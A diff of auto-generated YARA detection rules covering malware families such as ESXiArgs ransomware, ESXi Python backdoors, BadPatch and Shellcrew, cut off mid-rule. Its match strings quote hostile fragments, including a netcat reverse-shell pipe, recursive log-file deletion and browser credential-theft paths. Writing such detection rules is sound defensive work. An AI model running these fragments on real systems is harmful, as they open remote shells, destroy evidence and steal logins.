-		description = "Detects Emotet malware"
+		description = "Detects samples mentioned in BadPatch report"
 		author = "Florian Roth (Nextron Systems)"
-		id = "334ae7e5-0a46-5e95-bf53-0f343db4e4de"
-		date = "2020-01-29"
+		id = "648528f0-351c-527e-b516-2c8cae9fb4a3"
+		date = "2017-10-20"
 		modified = "2023-12-05"
-		reference = "https://app.any.run/tasks/5e81638e-df2e-4a5b-9e45-b07c38d53929/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/crime_emotet.yar#L20-L37"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "23ffcdde3eae7637e5b47a0f940cbebafccfd4c3f222b882e73d7d02447b83c3"
+		reference = "https://goo.gl/RvDwwA"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/crime_bad_patch.yar#L41-L74"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "649cfca8fa9d3b9f12b56fd81d4133a00eb5449e67fca2abe85fbfb778912df8"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		hash1 = "e7c22ccdb1103ee6bd15c528270f56913bb2f47345b360802b74084563f1b73d"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "106deff16a93c4a4624fe96e3274e1432921c56d5a430834775e5b98861c00ea"
+		hash2 = "ece76fdf7e33d05a757ef5ed020140d9367c7319022a889923bbfacccb58f4d7"
+		hash3 = "cf53fc8c9ce4e5797cc5ac6f71d4cbc0f2b15f2ed43f38048a5273f40bc09876"
+		hash4 = "802a39b22dfacdc2325f8a839377c903b4a7957503106ce6f7aed67e824b82c2"
+		hash5 = "278dba3857367824fc2d693b7d96cef4f06cb7fdc52260b1c804b9c90d43646d"
+		hash6 = "2941f75da0574c21e4772f015ef38bb623dd4d0c81c263523d431b0114dd847e"
+		hash7 = "46f3afae22e83344e4311482a9987ed851b2de282e8127f64d5901ac945713c0"
+		hash8 = "27752bbb01abc6abf50e1da3a59fefcce59618016619d68690e71ad9d4a3c247"
+		hash9 = "050610cfb3d3100841685826273546c829335a5f4e2e4260461b88367ad9502c"
 
 	strings:
-		$op0 = { 74 60 8d 34 18 eb 54 03 c3 50 ff 15 18 08 41 00 }
-		$op1 = { 03 fe 66 39 07 0f 85 2a ff ff ff 8b 4d f0 6a 20 }
-		$op2 = { 8b 7d fc 0f 85 49 ff ff ff 85 db 0f 84 d1 }
+		$s1 = "myAction=shell_result&serialNumber=" fullword wide
+		$s2 = "\\Appdata\\Local\\Google\\Chrome\\User Data\\Default\\Login Data.*" wide
+		$s3 = "\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles" wide
+		$s4 = "\\Appdata\\Local\\Google\\Chrome\\User Data\\Default\\Cookies.*" wide
+		$s5 = "newSHELL[" fullword wide
+		$s6 = "\\file1.txt" wide
+		$s7 = "myAction=newGIF&serialNumber=" fullword wide
+		$s8 = "\\Storege1" wide
+		$s9 = "\\Microsoft\\mac.txt" wide
+		$s10 = "spytube____:" fullword ascii
+		$s11 = "0D0700045F5C5B0312045A04041F40014B1D11004A1F19074A141100011200154B031C04" fullword wide
+		$s12 = "16161A1000012B162503151851065A1A0007" fullword wide
+		$s13 = "-- SysFile...." fullword wide
 
 	condition:
-		uint16(0)==0x5a4d and filesize <=200KB and (pe.imphash()=="009889c73bd2e55113bf6dfa5f395e0d" or 1 of them )
+		( uint16(0)==0x5a4d and filesize <700KB and 3 of them )
 }
-import "pe"
+rule SIGNATURE_BASE_MAL_RANSOM_SH_Esxi_Attacks_Feb23_1 : FILE
+{
+	meta:
+		description = "Detects script used in ransomware attacks exploiting and encrypting ESXi servers - file encrypt.sh"
+		author = "Florian Roth"
+		id = "7178dbe4-f573-5279-a23e-9bab8ae8b743"
+		date = "2023-02-04"
+		modified = "2023-12-05"
+		reference = "https://www.bleepingcomputer.com/forums/t/782193/esxi-ransomware-help-and-support-topic-esxiargs-args-extension/page-14"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/mal_ransom_esxi_attacks_feb23.yar#L6-L28"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "1143ee36603f604874432ee280314a9f62ffe64e58ec5cd4eb114b7b175b365a"
+		score = 85
+		quality = 60
+		tags = "FILE"
+		hash1 = "10c3b6b03a9bf105d264a8e7f30dcab0a6c59a414529b0af0a6bd9f1d2984459"
 
-rule SIGNATURE_BASE_MAL_Emotet_BKA_Quarantine_Apr21
+	strings:
+		$x1 = "/bin/find / -name *.log -exec /bin/rm -rf {} \\;" ascii fullword
+		$x2 = "/bin/touch -r /etc/vmware/rhttpproxy/config.xml /bin/hostd-probe.sh" ascii fullword
+		$x3 = "grep encrypt | /bin/grep -v grep | /bin/wc -l)" ascii fullword
+		$s1 = "## ENCRYPT" ascii fullword
+		$s2 = "/bin/find / -name *.log -exec /bin" ascii fullword
+
+	condition:
+		uint16(0)==0x2123 and filesize <10KB and (1 of ($x*) or 2 of them ) or 3 of them
+}
+rule SIGNATURE_BASE_MAL_RANSOM_ELF_Esxi_Attacks_Feb23_1 : FILE
 {
 	meta:
-		description = "No description has been set in the source file - Signature Base"
-		author = "press inquiries <info@bka.de>, technical contact <info@mha.bka.de>"
-		id = "22c27d82-00cb-5d2f-a1cc-9f8b4c60aecd"
-		date = "2021-03-23"
+		description = "Detects ransomware exploiting and encrypting ESXi servers"
+		author = "Florian Roth"
+		id = "d0a813aa-41f8-57df-b708-18ccb0d7a3e5"
+		date = "2023-02-04"
 		modified = "2023-12-05"
-		reference = "https://www.bka.de/DE/IhreSicherheit/RichtigesVerhalten/StraftatenImInternet/FAQ/FAQ_node.html"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/crime_emotet.yar#L39-L52"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "cc75be5f641e21446a41bf9cc855330a612847e7e3a3be935577d33195f40d05"
-		score = 75
+		reference = "https://www.bleepingcomputer.com/forums/t/782193/esxi-ransomware-help-and-support-topic-esxiargs-args-extension/page-14"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/mal_ransom_esxi_attacks_feb23.yar#L30-L56"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "27ff018574323c10821993c30cf74de15121caa92a308fbcae4eceae954e63b6"
+		score = 85
 		quality = 85
-		tags = ""
-		descripton = "The modified emotet binary replaces the original emotet on the system of the victim. The original emotet is copied to a quarantine for evidence-preservation."
-		note = "The quarantine folder depends on the scope of the initial emotet infection (user or administrator). It is the temporary folder as returned by GetTempPathW under a filename starting with UDP as returned by GetTempFileNameW. To prevent accidental reinfection by a user, the quarantined emotet is encrypted using RC4 and a 0x20 bytes long key found at the start of the quarantined file (see $key)."
-		sharing = "TLP:WHITE"
+		tags = "FILE"
+		hash1 = "11b1b2375d9d840912cfd1f0d0d04d93ed0cddb0ae4ddb550a5b62cd044d6b66"
 
 	strings:
-		$key = { c3 da da 19 63 45 2c 86 77 3b e9 fd 24 64 fb b8 07 fe 12 d0 2a 48 13 38 48 68 e8 ae 91 3c ed 82 }
+		$x1 = "usage: encrypt <public_key> <file_to_encrypt> [<enc_step>] [<enc_size>] [<file_size>]" ascii fullword
+		$x2 = "[ %s ] - FAIL { Errno: %d }" ascii fullword
+		$s1 = "lPEM_read_bio_RSAPrivateKey" ascii fullword
+		$s2 = "lERR_get_error" ascii fullword
+		$s3 = "get_pk_data: key file is empty!" ascii fullword
+		$op1 = { 8b 45 a8 03 45 d0 89 45 d4 8b 45 a4 69 c0 07 53 65 54 89 45 a8 8b 45 a8 c1 c8 19 }
+		$op2 = { 48 89 95 40 fd ff ff 48 83 bd 40 fd ff ff 00 0f 85 2e 01 00 00 48 8b 9d 50 ff ff ff 48 89 9d 30 fd ff ff 48 83 bd 30 fd ff ff 00 78 13 f2 48 0f 2a 85 30 fd ff ff }
+		$op3 = { 31 55 b4 f7 55 b8 8b 4d ac 09 4d b8 8b 45 b8 31 45 bc c1 4d bc 13 c1 4d b4 1d }
 
 	condition:
-		$key at 0
+		uint16(0)==0x457f and filesize <200KB and (1 of ($x*) or 3 of them ) or 4 of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_MAL_Emotet_BKA_Cleanup_Apr21 : FILE
+rule SIGNATURE_BASE_APT_PY_Esxi_Backdoor_Dec22 : FILE
 {
 	meta:
-		description = "No description has been set in the source file - Signature Base"
-		author = "press inquiries <info@bka.de>, technical contact <info@mha.bka.de>"
-		id = "10d93918-8a5e-54a3-81c6-f6ff68562e13"
-		date = "2021-03-23"
+		description = "Detects Python backdoor found on ESXi servers"
+		author = "Florian Roth"
+		id = "f0a3b9b9-0031-5d9f-97f8-70f83863ee63"
+		date = "2022-12-14"
 		modified = "2023-12-05"
-		reference = "https://www.bka.de/DE/IhreSicherheit/RichtigesVerhalten/StraftatenImInternet/FAQ/FAQ_node.html"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/crime_emotet.yar#L54-L70"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "533adaed96d015ea2dcd54d5aaf9e71b5b70430ed5733a98618925cf978a6515"
-		score = 75
+		reference = "https://blogs.juniper.net/en-us/threat-research/a-custom-python-backdoor-for-vmware-esxi-servers"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/mal_ransom_esxi_attacks_feb23.yar#L58-L71"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "86b628f007720aa706c30d91e845d867ed481d1e99bcc9315c84a4e0b7b1b2a6"
+		score = 85
 		quality = 85
 		tags = "FILE"
-		descripton = "This rule targets a modified emotet binary deployed by the Bundeskriminalamt on the 26th of January 2021."
-		note = "The binary will replace the original emotet by copying it to a quarantine. It also contains a routine to perform a self-deinstallation on the 25th of April 2021. The three-month timeframe between rollout and self-deinstallation was chosen primarily for evidence purposes as well as to allow remediation."
-		sharing = "TLP:WHITE"
 
 	strings:
-		$key = { c3 da da 19 63 45 2c 86 77 3b e9 fd 24 64 fb b8 07 fe 12 d0 2a 48 13 38 48 68 e8 ae 91 3c ed 82 }
+		$x1 = "cmd = str(base64.b64decode(encoded_cmd), " ascii
+		$x2 = "sh -i 2>&1 | nc %s %s > /tmp/" ascii
 
 	condition:
-		filesize >300KB and filesize <700KB and uint16(0)==0x5A4D and $key
+		filesize <10KB and 1 of them or all of them
 }
-rule SIGNATURE_BASE_Crime_H2Miner_Kinsing : FILE
+rule SIGNATURE_BASE_APT_SH_Esxi_Backdoor_Dec22 : FILE
 {
 	meta:
-		description = "Rule to find Kinsing malware"
-		author = "Tony Lambert, Red Canary"
-		id = "1cabca0d-7134-517e-b82e-f2b20b4d1c34"
-		date = "2020-06-09"
+		description = "Detects malicious script found on ESXi servers"
+		author = "Florian Roth"
+		id = "983ac20c-2e61-5365-8849-b3aeb999f909"
+		date = "2022-12-14"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/crime_h2miner_kinsing.yar#L1-L20"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "8795f01f4ce85ca37a4e4667a4ee9756dae6af42884cf79830877a5c35a3bd3b"
+		reference = "https://blogs.juniper.net/en-us/threat-research/a-custom-python-backdoor-for-vmware-esxi-servers"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/mal_ransom_esxi_attacks_feb23.yar#L73-L87"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "155a90a6c55b99285555634d91a66fca9c7e7297f05314fa4d6ce1d84257ee11"
 		score = 75
 		quality = 85
 		tags = "FILE"
 
 	strings:
-		$s1 = "-iL $INPUT --rate $RATE -p$PORT -oL $OUTPUT"
-		$s2 = "libpcap"
-		$s3 = "main.backconnect"
-		$s4 = "main.masscan"
-		$s5 = "main.checkHealth"
-		$s6 = "main.redisBrute"
-		$s7 = "ActiveC2CUrl"
-		$s8 = "main.RC4"
-		$s9 = "main.runTask"
+		$x1 = "mv /bin/hostd-probe.sh /bin/hostd-probe.sh.1" ascii fullword
+		$x2 = "/bin/nohup /bin/python -u /store/packages/vmtools.py" ascii
+		$x3 = "/bin/rm /bin/hostd-probe.sh.1"
 
 	condition:
-		( uint32(0)==0x464C457F) and filesize >1MB and all of them
+		filesize <10KB and 1 of them
 }
-rule SIGNATURE_BASE_Waterbear_1_Jun17 : FILE
+rule SIGNATURE_BASE_MAL_RANSOM_SH_Esxi_Attacks_Feb23_2 : FILE
 {
 	meta:
-		description = "Detects malware from Operation Waterbear"
-		author = "Florian Roth (Nextron Systems)"
-		id = "2202506a-6009-5321-a8b2-df3bff51d06f"
-		date = "2017-06-23"
+		description = "Detects script used in ransomware attacks exploiting and encrypting ESXi servers"
+		author = "Florian Roth"
+		id = "d1282dee-0496-52f1-a2b7-27657ab4df8c"
+		date = "2023-02-06"
 		modified = "2023-12-05"
-		reference = "https://goo.gl/L9g9eR"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_waterbear.yar#L11-L25"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "f1d5bd0c9f85dd90217bdbd7e44100bcfbf77839f83416ad17121713c189b9fd"
-		score = 75
+		reference = "https://dev.to/xakrume/esxiargs-encryption-malware-launches-massive-attacks-against-vmware-esxi-servers-pfe"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/mal_ransom_esxi_attacks_feb23.yar#L89-L101"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "3f240784873a0239cbf61f7f420fdd72b8992d5943ffc3d4dcad43c836569f4d"
+		score = 85
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "dd3676f478ee6f814077a12302d38426760b0701bb629f413f7bf2ec71319db5"
 
 	strings:
-		$s1 = "\\Release\\svc.pdb" ascii
-		$s2 = "svc.dll" fullword ascii
+		$x1 = "echo \"START ENCRYPT: $file_e SIZE: $size_kb STEP SIZE: " ascii
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <100KB and all of them )
+		filesize <10KB and 1 of them
 }
-rule SIGNATURE_BASE_Waterbear_2_Jun17 : FILE
+rule SIGNATURE_BASE_SUSP_Esxiargs_Endpoint_Conf_Aug23 : FILE
 {
 	meta:
-		description = "Detects malware from Operation Waterbear"
-		author = "Florian Roth (Nextron Systems)"
-		id = "d3178f01-90a8-5a82-9c95-40bf8e9b567f"
-		date = "2017-06-23"
+		description = "Detects indicators found in endpoint.conf files as modified by actors in the ESXiArgs campaign"
+		author = "Florian Roth"
+		id = "3e0b5dbf-7c5b-5599-823a-ce35fbdbe64b"
+		date = "2023-08-04"
 		modified = "2023-12-05"
-		reference = "https://goo.gl/L9g9eR"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_waterbear.yar#L27-L43"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "ec0b8d7313f925adafb7f03c8b7fd12c0176b75c74c642eeee900e911e0662a7"
+		reference = "https://www.bleepingcomputer.com/forums/t/782193/esxi-ransomware-help-and-support-topic-esxiargs-args-extension/page-47"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/mal_ransom_esxi_attacks_feb23.yar#L103-L120"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "794d460eec0e2f0b48e6ced94b125a1e48acde6be6281866e0b4a2ae6c2d3b51"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "dcb5c350af76c590002a8ea00b01d862b4d89cccbec3908bfe92fdf25eaa6ea4"
 
 	strings:
-		$s1 = "downloading movie" fullword ascii
-		$s2 = "name=\"test.exe\"/>" fullword ascii
-		$s3 = "<description>Test Application</description>" fullword ascii
-		$s4 = "UI look 2003" fullword wide
+		$a1 = "/client/clients.xml" ascii
+		$a2 = "/var/run/vmware/proxy-sdk-tunnel" ascii fullword
+		$a3 = "redirect" ascii fullword
+		$a4 = "allow" ascii fullword
+		$s1 = " local 8008 allow allow"
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <1000KB and all of them )
+		filesize <2KB and all of them
 }
-rule SIGNATURE_BASE_Waterbear_4_Jun17 : FILE
+rule SIGNATURE_BASE_Streamex_Shellcrew
 {
 	meta:
-		description = "Detects malware from Operation Waterbear"
-		author = "Florian Roth (Nextron Systems)"
-		id = "c7941f92-12ee-5d57-b58e-c8caf74ca6ba"
-		date = "2017-06-23"
+		description = "Detects a "
+		author = "Cylance"
+		id = "217077bb-71b7-5cbf-8adf-68a16688c415"
+		date = "2017-02-09"
 		modified = "2023-12-05"
-		reference = "https://goo.gl/L9g9eR"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_waterbear.yar#L45-L68"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "46c43dbdcbc183995a8cd00c9888afcdd3adb9f3caf38ed42a0af1e7df39715f"
-		score = 75
+		reference = "https://blog.cylance.com/shell-crew-variants-continue-to-fly-under-big-avs-radar"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_shellcrew_streamex.yar#L11-L29"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "a82ff51c1dcd1ebe3d7acc96b46b0b79dcead9146204f060f5413c4c7b5286d3"
+		score = 80
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "2e9cb7cadb3478edc9ef714ca4ddebb45e99d35386480e12792950f8a7a766e1"
+		tags = ""
 
 	strings:
-		$x1 = "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)" fullword ascii
-		$s1 = "Wininet.dll InternetOpenA InternetConnectA HttpOpenRequestA HttpSendRequestA HttpQueryInfoA InternetReadFile InternetCloseHandle" fullword ascii
-		$s2 = "read from pipe:%s" fullword ascii
-		$s3 = "delete pipe" fullword ascii
-		$s4 = "cmdcommand:%s" fullword ascii
-		$s5 = "%s /c del %s" fullword ascii
-		$s6 = "10.0.0.250" fullword ascii
-		$s7 = "Vista/2008" fullword ascii
-		$s8 = "%02X%02X%02X%02X%02X%02X%04X" fullword ascii
-		$s9 = "UNKOWN" fullword ascii
+		$a = "0r+8DQY97XGB5iZ4Vf3KsEt61HLoTOuIqJPp2AlncRCgSxUWyebhMdmzvFjNwka="
+		$b = {34 ?? 88 04 11 48 63 C3 48 FF C1 48 3D D8 03 00 00}
+		$bb = {81 86 ?? ?? 00 10 34 ?? 88 86 ?? ?? 00 10 46 81 FE D8 03 00 00}
+		$c = "greendll"
+		$d = "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" wide
+		$f = {26 5E 25 24 23 91 91 91 91}
+		$g = "D:\\pdb\\ht_d6.pdb"
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <300KB and 3 of them )
+		$a or $b or $bb or ($c and $d) or $f or $g
 }
-rule SIGNATURE_BASE_Waterbear_5_Jun17 : FILE
+rule SIGNATURE_BASE_Shellcrew_Streamex_1 : FILE
 {
 	meta:
-		description = "Detects malware from Operation Waterbear"
+		description = "Auto-generated rule"
 		author = "Florian Roth (Nextron Systems)"
-		id = "f92fe6d5-0afa-50a1-bdcf-c6dd78aa6809"
-		date = "2017-06-23"
-		modified = "2023-01-07"
-		reference = "https://goo.gl/L9g9eR"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_waterbear.yar#L70-L90"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "a1572db08242fffadedbfb89f3652b2eb93c910f3b61f9db0622bc18d069827c"
+		id = "26b4cac0-3f2b-5637-86f5-16b7f8afa0e6"
+		date = "2017-02-10"
+		modified = "2022-12-21"
+		reference = "https://blog.cylance.com/shell-crew-variants-continue-to-fly-under-big-avs-radar"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_shellcrew_streamex.yar#L40-L59"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "4da0b8843de87e53243af40700afaab77120531af28dc311d9100bce6721650b"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		hash1 = "d3678cd9744b3aedeba23a03a178be5b82d5f8059a86f816007789a9dd06dc7d"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "81f411415aefa5ad7f7ed2365d9a18d0faf33738617afc19215b69c23f212c07"
 
 	strings:
-		$a1 = "ICESWORD" fullword ascii
-		$a2 = "klog.dat" fullword ascii
-		$s1 = "\\cswbse.dll" ascii
-		$s2 = "WIRESHARK" fullword ascii
-		$s3 = "default_zz|" fullword ascii
-		$s4 = "%c4%u-%.2u-%.2u %.2u:%.2u" fullword ascii
-		$s5 = "1111%c%s" fullword ascii
+		$x1 = "cmd.exe /c  \"%s\"" fullword wide
+		$s3 = "uac\\bin\\install_test.pdb" ascii
+		$s5 = "uncompress error:%d %s" fullword ascii
+		$s7 = "%s\\AdobeBak\\Proc.dat" fullword wide
+		$s8 = "e:\\workspace\\boar" fullword ascii
+		$s12 = "$\\data.ini" fullword wide
 
 	condition:
-		( uint16(0)==0x3d53 and filesize <100KB and ( all of ($a*) or 3 of them ))
+		( uint16(0)==0x5a4d and filesize <1000KB and 4 of them )
 }
-rule SIGNATURE_BASE_Waterbear_6_Jun17 : FILE
+rule SIGNATURE_BASE_Shellcrew_Streamex_1_Msi : FILE
 {
 	meta:
-		description = "Detects malware from Operation Waterbear"
+		description = "Auto-generated rule"
 		author = "Florian Roth (Nextron Systems)"
-		id = "86d203be-2d3a-54f2-b851-9080d5be36f5"
-		date = "2017-06-23"
+		id = "8cf5dad5-0737-56bf-8cef-7bcf7e7e5a78"
+		date = "2017-02-10"
 		modified = "2023-12-05"
-		reference = "https://goo.gl/L9g9eR"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_waterbear.yar#L92-L106"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "af5c2a29e0a62c54e706492ae85b9786a6d9e5f42fe4d9c43693576e1a63b825"
+		reference = "https://blog.cylance.com/shell-crew-variants-continue-to-fly-under-big-avs-radar"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_shellcrew_streamex.yar#L61-L80"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "fa853dac58c067a88f1784ac4017fd558151e54ed10ceb32ab90c99e970460fe"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "409cd490feb40d08eb33808b78d52c00e1722eee163b60635df6c6fe2c43c230"
+		hash1 = "8c9048e2f5ea2ef9516cac06dc0fba8a7e97754468c0d9dc1e5f7bce6dbda2cc"
 
 	strings:
-		$s1 = "svcdll.dll" fullword ascii
-		$s2 = "log.log" fullword ascii
+		$x1 = "msi.dll.eng" fullword wide
+		$s2 = "ahinovx" fullword ascii
+		$s3 = "jkpsxy47CDEMNSTYbhinqrwx56" fullword ascii
+		$s4 = "PVYdejmrsy12" fullword ascii
+		$s6 = "FLMTUZaijkpsxy45CD" fullword ascii
+		$s7 = "afhopqvw34ABIJOPTYZehmo" fullword ascii
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <60KB and all of them )
+		( uint16(0)==0x5a4d and filesize <20KB and 3 of them )
 }
-rule SIGNATURE_BASE_Waterbear_7_Jun17 : FILE
+rule SIGNATURE_BASE_Shellcrew_Streamex_1_Msi_Dll : FILE
 {
 	meta:
-		description = "Detects malware from Operation Waterbear"
+		description = "Auto-generated rule"
 		author = "Florian Roth (Nextron Systems)"
-		id = "4613df5b-495e-5738-9b7f-ac8ff586cd17"
-		date = "2017-06-23"
+		id = "56586e0b-010a-5ad5-8822-5d370475aa06"
+		date = "2017-02-10"
 		modified = "2023-12-05"
-		reference = "https://goo.gl/L9g9eR"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_waterbear.yar#L108-L125"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "6a760abca78e799b194864ad56457ccb0b05123307da6bfcad0c66da47f485a1"
+		reference = "https://blog.cylance.com/shell-crew-variants-continue-to-fly-under-big-avs-radar"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_shellcrew_streamex.yar#L82-L98"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "087ac07a2bf822f7838ef46296150381cfc9af9b12b4023654023a779efc1db1"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "6891aa78524e442f4dda66dff51db9798e1f92e6fefcdf21eb870b05b0293134"
+		hash1 = "883108119d2f4db066fa82e37aa49ecd2dbdacda67eb936b96720663ed6565ce"
+		hash2 = "5311f862d7c824d13eea8293422211e94fb406d95af0ae51358accd4835aaef8"
+		hash3 = "191cbeffa36657ab1ef3939da023cacbc9de0285bbe7775069c3d6e18b372c3f"
 
 	strings:
-		$s1 = "Bluthmon.exe" fullword wide
-		$s2 = "Motomon.exe" fullword wide
-		$s3 = "%d.%s%d%d%d" fullword ascii
-		$s4 = "mywishes.hlp" fullword ascii
-		$s5 = "filemon.rtf" fullword ascii
+		$s1 = "NDOGDUA" fullword ascii
+		$s2 = "NsrdsrN" fullword ascii
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <80KB and all of them )
+		( uint16(0)==0x4d9d and filesize <300KB and all of them )
 }
-rule SIGNATURE_BASE_Waterbear_8_Jun17 : FILE
+rule SIGNATURE_BASE_Blackenergy3_Installer
 {
 	meta:
-		description = "Detects malware from Operation Waterbear"
-		author = "Florian Roth (Nextron Systems)"
-		id = "5ebeda22-ad67-5715-b42f-9b4bb5dcde94"
-		date = "2017-06-23"
-		modified = "2023-01-07"
-		reference = "https://goo.gl/L9g9eR"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_waterbear.yar#L127-L145"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "3b1dfe486ea141342f253963ce6cc1e73d063ce880cf2fcee1aaa6aa6e919349"
+		description = "Matches unique code block for import name construction "
+		author = "Mike Schladt"
+		id = "4afeb7ac-ce8d-506c-9c97-db7ec6102490"
+		date = "2015-05-29"
+		modified = "2023-12-05"
+		reference = "https://www.f-secure.com/documents/996508/1030745/blackenergy_whitepaper.pdf"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_blackenergy_installer.yar#L2-L16"
